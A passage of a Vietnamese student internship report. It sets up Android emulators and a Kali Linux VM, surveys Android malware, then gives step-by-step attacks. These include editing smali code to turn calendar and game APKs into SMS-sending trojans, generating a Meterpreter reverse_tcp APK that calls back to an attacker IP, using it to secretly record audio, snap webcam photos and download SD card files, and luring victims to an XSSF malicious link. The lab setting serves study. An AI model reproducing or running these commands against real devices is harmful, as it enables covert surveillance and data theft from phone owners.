Bước 3: Ở cửa sổ Name > Tick vào Developer Tools

Page 24: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 19

Bước 4: Chọn các Next > Next > Accept > Next > Finish – Run in

Background

Bước 5: Vào Windows > Preferences > Android > Browse > Chỉ đường dẫn

thư mục Android SDK đã tải > Apply > OK

Bước 6: Khởi đông lại Eclipse

2.3. Tạo máy ảo chạy Android trên phần mềm Eclipse:

Android Virtual Device là máy ảo cho developer phát triển ứng dụng.

Sau đây là các bước tạo 1 AVD trên Eclipse

Bước 1: Mở eclipse.exe > Vào Windows > Android Virtual Device Manager >

Bước 2: Thiết đặt các thông số cần thiết:

Page 25: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 20

Name: Đặt tên cho thiết bị

Device: Chọn loại thiết bị bạn muốn tạo

Target: Chọn phiên bản hệ điều hành

Skin: chọn kích cỡ màn hình bạn muốn, thường thì phải phù hợp với

Device đã chọn ở trên

SDcard: chọn thẻ nhớ ảo cho AVD.

Bước 3: Click OK để tạo máy ảo.

Khởi chạy bằng nút Start… > Launch

Bước 4: Chờ hoàn tất, ta được máy ảo chạy Android.

Page 26: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 21

3. Hướng dẫn cài đặt thiết bị giả lập Android trên phần mềm Genymotion:

3.1. Tải về và cài đặt phần mềm tạo máy ảo VirtualBox:

Ta có thể bản VirtualBox phù hợp với máy của bạn.

- Bước 1: Ta tải về file cài đặt VirtualBox tại trang:

http://www.oracle.com/technetwork/server-

storage/virtualbox/downloads/index.html

Bước 2: Sau khi tải về, ta tiến hành cài đặt như nhiều phần mềm khác:

Bước 3: Next > Next > Next > Install > Finish

Page 27: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 22

Bước 4: Giao diện phần mềm sau khi cài đặt xong.

3.2. Tải về và cài đặt ứng dụng Genymotion:

Bước 1: Trước khi bắt đầu, ta cần có 1 tài khoản trên web

www.genymotion.com

Ta có thể đăng ký miễn phí và tải Genymotion về máy.

Bước 2: Bắt đầu cài đặt phần mềm Genymotion. Ta lựa chọn ngôn ngữ cài đặt

> OK > Next

Bước 3: Chọn thư mục lưu cài đặt.

Page 28: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 23

Bước 4: Next > Next > Install > Finish

Bước 5: Mở Genymotion vừa cài đặt xong. Ta vào thiết đặt 1 số thông số ở

mục Settings

Bước 6: Nhập Username và Password mà bạn đã đăng ký trên web

www.genymotion.com ở thẻ General

Page 29: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 24

Bước 7: Ở thẻ ADB > chọn Use custom Android SDK tools > Browser đường

dẫn đến thư mục sdk trong thư mục mà ta đã tải Android SDK Manager. Sau

đó lưu lại cài đặt.

F:\ Soft\adt-bundle-windows-x86_64-20140702\sdk

3.3. Tạo máy ảo chạy Android trên Genymotion:

Page 30: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 25

Bước 1: Ta mở Genymotion lên để tạo máy ảo. Vào Add

Bước 2: Chọn tên thiết bị mà muốn làm máy ảo.

Xuất hiện cấu hình máy ảo sắp tạo:

Bước 3: Next > Đợi máy ảo tự động tải về từ web và Finish quá trình tạo máy

ảo.

Page 31: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 26

Bước 4: Để khởi động máy ảo vừa tạo ta chọn máy ảo > Play

Bước 5: Giao diện máy ảo Google Nexus 7 vừa tạo thành công.

Page 32: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 27

III. CÀI ĐẶT MÁY ẢO KALI LINUX

Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế

để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Kali Linux phát

triển trên nền tảng hệ điều hành Debian, khả năng tương thích với kiến trúc ARM

được cải tiến, nó hỗ trợ mạng không dây tốt hơn, có khả năng tùy biến cao và dễ dàng

nâng cấp giữa các phiên bản Kali trong trương lai.

Page 33: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 28

Rất cần thiết có được máy tính chạy hệ điều hành Kali Linux để hỗ trợ việc xâm

nhập, khai thác các thiết bị chạy Android. Do đó ta sẽ thực hiện việc tạo máy ảo Kali

Linux trên phần mềm VMware workstation.

1. Chuẩn bị:

- Máy tính được cài đặt phầm mềm VMware workstation. Ở đây ta sẽ dùng

VMware workstation 10.0.0

- Download file ISO hệ điều hành Kali Linux 64 bit phiên bản 1.0.7 trên link

www.kali.org/downloads

2. Tiến trình:

Bước 1: Khởi động VMware. Vào File > New Virtual Machine… (hoặc

Ctrl+N)

Bước 2: Chọn Type là Custom (advanced) > Next

Bước 3: Yêu cầu file để cài đặt máy ảo, ta sẽ chọn I will install the operating

system later > Next

Page 34: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 29

Bước 4: Chọn hệ thống là Linux, Version là Debian 7 64-bit > Next

Bước 5: Chọn vùng lưu máy ảo và đặt tên máy ảo là Debian 7 64 > Next

Page 35: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 30

Bước 6: Cấu hình bộ xử lý là mặc định > Next

Bước 7: Chọn bộ nhớ RAM là 512MB > Next. Lưu ý là phải phù hợp với máy

thật)

Page 36: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 31

Bước 8: Chọn loại Network là Bridged networking > Next

Bước 9: Cấp phát ổ đĩa cho máy ảo. Ta cấp phát Maximum là 15GB. Chọn

Store virtual disk as a single file > Next

Page 37: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 32

Bước 10: Ta sẽ trỏ file ISO vào máy ảo vừa tạo. Click chuột phải vào tên máy

ảo Debian 7 64 > Settings

Trỏ dòng CD/DVD (IDE) > phần Connection > Use ISO image file >

Ta dẫn đến file Kali Linux 64 bit.ISO

Bước 11: Máy ảo được khởi chạy. Tại Boot menu > Chọn Graphical install

Page 38: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 33

Bước 12: Ta chọn Language, Location, Keyboard > Continue

Bước 13: Sau đó ta phải cấu hình Network > đặt Hostname > đặt Domain

name > Continue

Bước 14: Tạo Users name và Password > Continue. Bước nay khá quan trọng,

root password là mật khẩu để bạn đăng nhập vào máy ảo Debian 7 64

Page 39: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 34

Bước 15: Cấu hình Clock > Next

Bước 16: Phân vùng ổ đĩa > ta để mặc định Guided – use entire disk >

Continue

Khi xuất hiện yêu cầu Write the changes to disk? > chọn Yes > Continue

Đợi Install System

Page 40: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 35

Bước 17: Cấu hình Package manager > Xuất hiện yêu cầu Use the network

mirror? > chọn No > Continue

Page 41: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 36

Bước 18: Cài đặt GRUB boot loader > Install the GRUB boot loader to the

master boot record? > chọn Yes > Continue

Bước 19: Ta đợi tiến trình cài đặt hoàn tất > Finish the Installation > Continue

Bước 20: Sau khi hoàn tất, máy ảo Debian 7 64 sẽ tự khởi động. Ta đăng nhập

với User là root và Password đã đặt.

Page 42: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 37

IV. NGHIÊN CỨU LỖ HỔNG BẢO MẬT CỦA ANDROID

1. Tin tức thời sự về sự bảo mật của Android:

- Android là hệ điều hành điện thoại chiếm tỷ phần lớn nhất trong thì trường

smartphone đồng thời Android sử dụng mã nguồn mở hoàn toàn nên nó trở thành lựa

chọn số 1 của tin tặc. Theo Báo cáo Hiện trạng các mối đe dọa bảo mật Internet lần thứ

18 (ISTR) của Symantec vừa được công bố tại Hà Nội chiều 8/5/2013, hệ điều hành

Android có ít lỗ hổng bảo mật nhưng lại hứng chịu nhiều mối đe dọa bảo mật nhất

trong số các hệ điều hành di động.

- Theo báo cáo quý II/2013 của Trend Micro chỉ ra rằng Việt Nam là Quốc Gia

đứng thứ 3 thế giới trong việc tải về các phần mềm độc hại trên ứng dụng Android. Và

là quốc gia thứ 2 về mức độ rủi ro gặp phải về thông tin riêng tư trên thiết bị di động.

- Mới đây nhất, vào tháng 7/2014, công ty bảo mật Bluebox Labs cho biết lỗ

hổng có tên Fake ID cho phép ứng dụng độc hại có thể giả danh các ứng dụng "chính

hãng" từ các nhà phát triển đáng tin cậy. Ngay sau khi thông tin về Fake ID xuất hiện,

Google đưa ra tuyên bố đã vá lỗ hổng này từ tháng 4 vừa qua.

- Do bản vá của Google được thực hiện trên 4.4 KitKat, tất cả những người dùng

sử dụng các phiên bản từ 2.1 đến 4.4 (cập nhật trước tháng 4) sẽ bị Fake ID đe dọa.

Điều này cũng có nghĩa rằng có tới hơn 82% người dùng Android bị Fake ID đe dọa.

2. Khái niệm và phân loại lỗ hổng bảo mật trên Android:

2.1. Khái niệm lỗ hổng bảo mật:

- Tất cả những đặc tính của phần mềm hoặc phần cứng cho phép người dùng

không hợp lệ, có thể truy cập hay tăng quyền không cần xác thực.

- Tổng quát, lỗ hổng là những phương tiện đối phương có thể lợi dụng để xâm

nhập vào hệ thống.

2.2. Phân loại lỗ hổng bảo mật:

- Lỗ hổng từ chối dịch vụ.

- Lỗ hổng cho phép người dùng bên trong mạng với quyền hạn chế có thể tăng

quyền mà không cần xác thực.

Page 43: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 38

- Lỗ hổng cho phép những người không được ủy quyền có thể xâm nhập từ xa

không xác thực.

2.3. Một số lỗ hổng bảo mật phổ biến:

- Lỗ hổng bảo mật “Master key” - là lỗi khóa bảo mật.

- Lỗ hổng bảo mật khi kết nối WI-FI.

- Lỗ hổng bảo mật Heartbleed.

- Lỗ hổng bảo mật Fake ID.

3. Nghiên cứu Malware, Trojan và cơ chế tạo mã độc trên Android:

3.1. Khái niệm Malware, Trojan:

- Malware - Malicious Sofware có nghĩa là bất kỳ phần mềm máy tính độc hại

nào đó được tạo nên với ý định xâm nhập làm hại máy tính, thu thập thông tin, truy

cập dữ liệu nhạy cảm… mà người sử dụng không hề hay biết. Malware bao gồm virus,

worm, trojan horse, adware, spyware, keyloger, backdoor, rootkit…

- Trojan - Trojan Horse gọi là phần mềm gián điệp. Nó là một chương trình phần

mềm độc hại mà không cố gắng để tự tái tạo, thay vào đó nó sẽ được cài đặt vào hệ

thống của người dùng bằng cách giả vờ là một chương trình phần mềm hợp pháp.

- Hiện nay, malware chỉ xâm nhập vào máy tính và đánh cắp thông tin người

dùng, nó chưa có cơ chế lây lan. Cách thức hoạt động của malware giống như trojan

chứ không như virus phá hủy.

- Đơn giản là malware và trojan giúp tin tặc truy cập vào máy người dùng, điều

khiển từ xa, thu thập thông tin người dùng…

3.2. Cơ chế hoạt động của Malware:

Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là

Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:

- Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng

dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root

vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên.

- Giai đoạn 2: Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt

cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các

thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một

khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt

một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng dụng hệ thống.

Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài

đặt các ứng dụng mà không được phép.

Không giống như giai đoạn đầu, người dùng phải khởi động ứng dụng để bắt

đầu việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là

confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động lúc

Page 44: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 39

nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công việc của

mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời

gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng

khó khăn hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của

mình.

Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện

thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang

bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe

dọa đến an sự an toàn của người dùng hệ điều hành này.

3.3. Cơ chế hoạt động của Trojan:

- Trojan có nhiều loại nhưng phổ biến là 2 loại: Trojan dùng để điều khiển và

Trojan dùng để đánh cắp mật khẩu.

- Bước đầu cơ chế hoạt động của cả 2 loại này là giống nhau. Máy tính sẽ bị

nhiễm trojan qua tập tin đính kèm của thư điện tử, chương trình trò chơi, chương trình

nào đó mà bạn vô tình chạy thử. Nó sẽ tự sao chép vào nơi nào đó trong máy tính. Sau

đó nó bắt đầu ghi vào registry của máy các thông số đề nó có thễ tự động khởi chạy

khi máy tính khởi động.

- Tiếp theo, đối với trojan điều khiển nó sẽ cho phép tin tặc từ xa nắm quyền điều

khiển máy tính. Còn đối với trojan đánh cắp mật khẩu, nó lưu mật khẩu của người

dùng vào 1 file và tự động gửi mail đến tin tặc khi máy tính kết nối mạng.

V. CÀI ĐẶT VÀO THIẾT BỊ ANDROID TROJAN ỨNG DỤNG iCALENDAR VÀ

TROJAN ỨNG DỤNG iMATCH

Những tác vụ gây ảnh hưởng cho các ứng dụng khác, hệ điều hành, và người sử

dụng thiết bị đều được bảo vệ bởi cơ chế Permission, ví dụ như gửi tin nhắn, truy cập

vào thông tin cá nhân,.... Nói cách khác những người lập trình sẽ khai báo Permission

cho những nguồn tài nguyên mà ứng dụng sẽ truy cập hay sử dụng. Những Permission

này sẽ được thông báo đến người dùng trước khi cài đặt ứng dụng.

1. Các Tools cần thiết để cài đặt:

- Máy ảo Android ADV trên phần mềm Eclipse

- Ứng dụng iCalendar.apk và iMatch.apk

- Tải phần mềm Super Apktool v2.1 tại link:

http://mobilelife.vn/resources/super-apk-tool-v2-0-cong-cu-chinh-sua-apk-bang-

giao-dien-cuc-manh.12/

- Tải Dex2Jar tại link: https://code.google.com/p/dex2jar/

- Tải Jd-gui tại link:

https://code.google.com/p/innlab/downloads/detail?name=jd-gui-0.3.3.windows.zip&

Page 45: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 40

2. Tải về và xem source code của các ứng dụng *.apk:

Bước 1:

- Dùng phần mềm Dex2Jar để chuyển đổi file *.dex thành file *.jar

- Tiếp theo xem source code của ứng dụng *.apk bằng phần mềm Jd-gui

Bước 2: Sau khi tải ứng dụng định dạng *.apk về. Ta giải nén bằng phần mềm

WinRAR. Sau đó copy file classes.dex của ứng dụng vào thư mục chứa phần

mềm Dex2Jar

Bước 3: Mở command trong Window lên.

Di chuyển đến thư mục phần mềm Dex2Jar bằng lệnh cd

Bước 4: Chuyển đổi file bằng lệnh “dex2jar <tên file>”

Bước 5: Dùng Jd-gui mở file classes_dex2jar.jar vừa được tạo để xem source

code của ứng dụng

- Lưu ý là chúng ta chỉ có thể xem nhưng không chỉnh sửa được.

3. Cài đặt Trojan ứng dụng iCalendar.apk:

Thực hiện cài đặt Trojan ứng dụng iCalendar vào máy ảo Android 5554, sau

đó tự động gửi tin nhắn đến máy ảo Android 5556. Ứng dụng iMatch cho

phép gửi đi 1 tin nhắn.

Bước 1: Khởi động 2 máy ảo Android trên Eclipse

Page 46: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 41

Bước 2: Khởi động phần mềm Super Apktool v2.1. Phần mềm sẽ quét và nhận

diện các máy ảo Android đang chạy.

Ở ô Device > Ta chọn máy mà ta muốn cài đặt trojan iCalendar.apk

Bước 3: Project > New Project

Bước 4: Chọn file iCalendar.apk > Chờ phần mềm giải nén xong

Page 47: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 42

Bước 5: View > View Smali Code: Cho phép chỉnh sửa code của ứng dụng

iCalendar.apk

Page 48: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 43

Bước 6: Chỉnh sửa code của 2 file iCalendar.smali và SmsReceiver.smali

- File iCalendar.smali, sửa code ở line 252 (số điện thoại của máy ta muốn gửi

tin nhắn) và line 253 (là nội dung tin nhắn)

Page 49: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 44

- File SmsReceiver.smali, ta sửa code ở line 41 thành số điện thoại mà máy

mình muốn gửi đến, giống như ở iCalendar.smali

- Sau khi sửa code, ta phải Save lại 2 file trên.

Bước 7: Run > Build : cho phép bắt đầu quá trình cài đặt trojan iCalendar.apk

vào 1 máy ảo Android và gửi tin nhắn tự động đến máy ảo Android khác.

Page 50: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 45

- Kết quả ta nhận được ở máy Android có số điện thoại 5554 (bị cài đặt trojan

iCalendar.apk)

- Giả sử nạn nhân trên click vào xem ứng dụng iCalendar này vài lần. Kết quả

nhận được ở máy Android có số điện thoại 5556 (bị gửi tin nhắn tự động)

Page 51: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 46

4. Cài đặt Trojan ứng dụng iMatch.apk:

Thực hiện cài đặt Trojan ứng dụng iMatch vào máy ảo Android 5558, sau

đó tự động gửi tin nhắn đến 2 máy ảo Android 5556 và Android 5554. Ứng

dụng iMatch cho phép gửi cùng lúc 4 tin nhắn.

Bước 1: Khởi động 3 máy ảo > Tạo project mới > Trỏ đến file iMatch.apk >

Đợi ứng dụng được giải nén > View > View Smali Code (tương tự như thao

tác với iCalendar.apk)

Bước 2: Sửa code của file MJUtils.smali

- Chỉnh sửa số điện thoại ở các line 57, line 66, line 75, line 84; chỉnh sửa nội

dung tin nhắn ở các line 58, line 67, line 76, line 85.

Page 52: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 47

Bước 4: Run > Build : cho phép bắt đầu quá trình cài đặt trojan iMatch.apk và

gửi tin nhắn tự động.

- Kết quả ta nhận được ở máy Android có số điện thoại 5558 (bị cài đặt trojan

iMatch.apk)

Page 53: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 48

- Kết quả nhận được ở máy Android 5556 và Android 5554 (bị gửi tin nhắn tự

động)

VI. TẠO MÃ ĐỘC TRÊN MÁY KALI LINUX VÀ TẤN CÔNG VÀO THIẾT BỊ

ANDROID

1. Các công cụ cần thiết:

Để thực hiện tạo mã độc và tấn công vào thiết bị Android ta cần chuẩn bị:

- Máy chạy hệ điều hành Linux phiên bản Kali (hoặc Back Track). Ở đây dùng

VMware để tạo máy ảo Kali (đã được hướng dẫn cách làm).

- Thiết bị chạy Android ảo. Ở đây dùng Genymotion kết hợp VirtualBox để tạo

tablet chạy Android 4.3.

- Cả 2 thiết bị đều có thể kết nối mạng.

- Có tài khoản email để gửi và nhận file trên cả 2 thiết bị.

2. Tiến trình:

Bước 1: Khởi động máy tấn công Kali Linux và thiết bị nạn nhân Android.

Thiết đặt card mạng cho máy tấn công Kali để đảm bảo kết nối được

internet.

Vào Edit > Virtual Network Editor…

Page 54: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 49

Tại VMnet0 > Chọn Type là Bridged > Chọn card mạng của máy thật

ở ô Bridged to.

Bước 3: Kiểm tra IP của máy tấn công Kali bằng lệnh : “ifconfig”

Page 55: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 50

Bước 4: Tạo 1 file chứa mã độc và gửi cho thiết bị Android. Ở đây ta tạo file

ứng dụng *.apk và gửi qua email.

Nhập lệnh: “msfpayload android/meterpreter/reverse_tcp

lhost=<địa chỉ IP máy tấn công> lport=<địa chỉ port> R > <địa chỉ

lưu lại> / <tên file>”

Ví dụ lệnh là: msfpayload android/meterpreter/reverse_tcp

lhost=192.168.149.136 lport=8080 R > /root/Desktop/appsX.apk.

- Tạo ứng dụng ReverseTCP có trên file là appsX.apk.

- Địa chỉ IP máy tấn công là 192.168.149.136.

- Địa chỉ Port là 8080 (Lưu ý tránh sử dụng các port thông dụng từ 0 đến 1023).

- Lưu file tại Desktop.

Bước 5: Khởi động ứng dụng Metasploit trên máy tấn công Kali bằng lệnh:

“msfconsole”

Bước 6: Sau đó ta set các payload, lhost, lport bằng các lệnh:

“set payload android/meterpreter/reverse_tcp”

Page 56: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 51

“set lhost 192.168.149.136”

“set lport 8080”

Bước 7: Thực hiện lệnh “exploit” để bắt đầu quá trình tấn công.

Bước 8: Tại thiết bị Android, sau khi tải về và cài đặt file appsX.apk, ta được

ứng dụng MainActivity. Khởi động lên và nhấp vào ReverseTCP.

Page 57: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 52

Khi đó trên Kali ta nhận được thông báo có thiết bị truy cập vào làm nạn nhân.

Bước 9: Dùng lệnh “help” để liệt kê các lệnh mà ta có thể thực hiện được.

Page 58: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 53

2.1. Khai thác thông tin hê thống:

Xem thông tin hệ thống bằng lệnh “sysinfo”.

2.2. Ghi âm lén:

Ghi âm lén ở thiết bị nạn nhân Android và lưu về máy tấn công Kali bằng lệnh

“record_mic”.

Page 59: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 54

File ghi âm được là xLijsRbg.wav lưu tự động ở /root của máy Kali.

2.3. Khai thác webcam và chụp ảnh lén:

Kiểm tra danh sách webcam của thiết bị nạn nhân Android và thực hiện chụp

ảnh lén, lưu về máy tấn công Kali bằng lệnh “webcam_list” và “webcam_snap <mã

webcam>”.

Page 60: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 55

File ảnh chụp được là FRumITki.jpeg lưu tự động ở /root của máy Kali .

2.4. Khai thác file hệ thống của máy nạn nhân:

Kiểm tra các file hệ thống đang hoạt động bằng lệnh “ps”.

2.5. Khai thác dữ liệu từ SDCARD:

Page 61: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 56

Di chuyển vào bộ nhớ SDCARD bằng lệnh “cd /sdcard”.

Dùng lệnh “ls” để liệt kê danh sách các thư mục/tập tin có trong SDCARD.

Xem các tập tin mà máy nạn nhân đã tải về qua lệnh di chuyển thư muc “cd

Download” và lệnh liệt kê “ls”.

Đánh cắp và tải về tập tin bất kì bằng lệnh “download <tên tập tin>”.

Ở đây dùng lệnh “download appsX.apk”.

Tập tin appsX.apk vừa đánh cắp về được lưu tự động trong /root của máy tấn

công Kali.

2.6. Kết thúc tấn công:

Dùng lệnh “exit” để thoát khỏi Metasploit và kết thúc quá trình tấn công.

Page 62: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 57

VII. TẤN CÔNG VÀO THIẾT BỊ ANDROID THÔNG QUA LIÊN KẾT CHỨA MÃ ĐỘC

1. Các công cụ cần thiết:

Để tấn công vào thiết bị Android thông qua liên kết chứa mã độc ta cũng cần

chuẩn bị như tấn công bằng file mã độc ở trên:

- Máy chạy hệ điều hành Linux phiên bản Kali (hoặc Back Track). Ở đây dùng

VMware để tạo máy ảo Kali (đã được hướng dẫn cách làm).

- Thiết bị chạy Android ảo. Ở đây dùng Genymotion kết hợp VirtualBox để tạo

tablet chạy Android 4.3.

- Cả 2 thiết bị đều có thể kết nối mạng.

- Có tài khoản email để gửi và nhận thông tin liên kết trên cả 2 thiết bị.

2. Tiến trình:

Bước 1: Khởi động máy tấn công Kali Linux và thiết bị nạn nhân Android.

Bước 2: Ở máy Kali > Mở Terminal > thực hiện 3 lệnh sau để cập nhật

Framework

“msfupdate”

“cd /opt/metasploit/apps/pro/msf3”

“svn export http://xssf.googlecode.com/svn/trunk/ ./ --force”

Bước 3: Khởi động Metasploit bằng lệnh “msfconsole”

Bước 4: Vào XSSF bằng lệnh “load xssf Port=80 Uri=/xssf/ Public=true

Mode=Verbose”

Page 63: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 58

Bước 5: Thực hiện lệnh “xssf_urls”

Ta nhận được các urls (đường dẫn web http) như của XSSF Server, XSSF test

page, XSSF logs page…

Bước 6: Cho máy nạn nhân truy cập vào đường dẫn XSSF test page:

http://192.168.149.136:80/xssf/test.html

Page 64: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 59

Ta nhận được thông báo trên máy tấn công Kali:

2.1. Kiểm tra số lượng nạn nhân đang truy cập vào đường dẫn mã độc:

Ta dùng lệnh “xssf_victims” để kiểm tra số lượng nạn nhân truy cập vào đường

dẫn mã độc http://192.168.149.136:80/xssf/test.html

2.2. Xem thông tin về nạn nhân đang truy cập:

Dùng lệnh “xssf_information <ID máy nạn nhân>”

Ở đây ví dụ là “xssf_information 1”

Page 65: BÁO CÁO THỰC TẬP - CUỐI KỲ

BÁO CÁO ĐỀ TÀI THỰC TẬP

SVTH: PHAN LÝ TRÚC ANH MSSV: 1020005

Page 60

2.3. Khai thác dữ liệu từ máy nạn nhân:

Đầu tiên ta dùng lệnh “search auxiliary/xssf” để kiểm tra các quyền mà ta

có thể thao tác lên máy nạn nhân

